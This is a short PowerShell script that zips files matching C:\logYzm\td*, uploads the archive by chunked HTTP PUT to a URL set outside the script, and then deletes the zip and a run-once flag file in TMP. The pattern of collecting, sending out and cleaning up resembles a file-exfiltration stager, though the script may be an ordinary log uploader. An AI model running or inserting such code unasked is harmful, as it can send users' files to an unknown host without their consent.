function Add-Zip
{
    param([string]$zipfilename)

    if(-not (test-path($zipfilename)))
    {
        set-content $zipfilename ("PK" + [char]5 + [char]6 + ("$([char]0)" * 18))
        (dir $zipfilename).IsReadOnly = $false
    }

    $shellApplication = new-object -com shell.application
    $zipPackage = $shellApplication.NameSpace($zipfilename)

    foreach($file in $input)
    {
            $zipPackage.CopyHere($file.FullName)
    }
}
function Upload-File
{
	param(
		[string]$Url,
		[string]$FilePath
	)
	$bufSize=1024*1000
	$timeout=10000000
	$wr = [System.Net.HttpWebRequest]::Create($url)
	$wr.Timeout = $timeout
	$wr.Method = "PUT"
	$wr.ContentType = "application/data"
	$wr.AllowWriteStreamBuffering=$false
	$wr.SendChunked=$true
	$rs = $wr.GetRequestStream()
	$fileStream = [System.IO.File]::OpenRead($FilePath)
	$chunk = New-Object byte[] $bufSize
	while($bytesRead = $fileStream.Read($chunk,0,$bufSize))
	{
		$rs.write($chunk, 0, $bytesRead)
		$rs.Flush()
	}

	$fileStream.Close()
	$rs.Close()
}
$flag = "$env:TMP\vtest"
if (test-path($flag))
{
exit;
}
echo 1 >$flag
cd C:\\logYzm
$z="$env:TMP\t.zip"
if (test-path($z))
{
	del $z
}
Get-ChildItem C:\\logYzm\\td*|Add-Zip $z
Upload-File -Url $url -FilePath $z
del $z
del $flag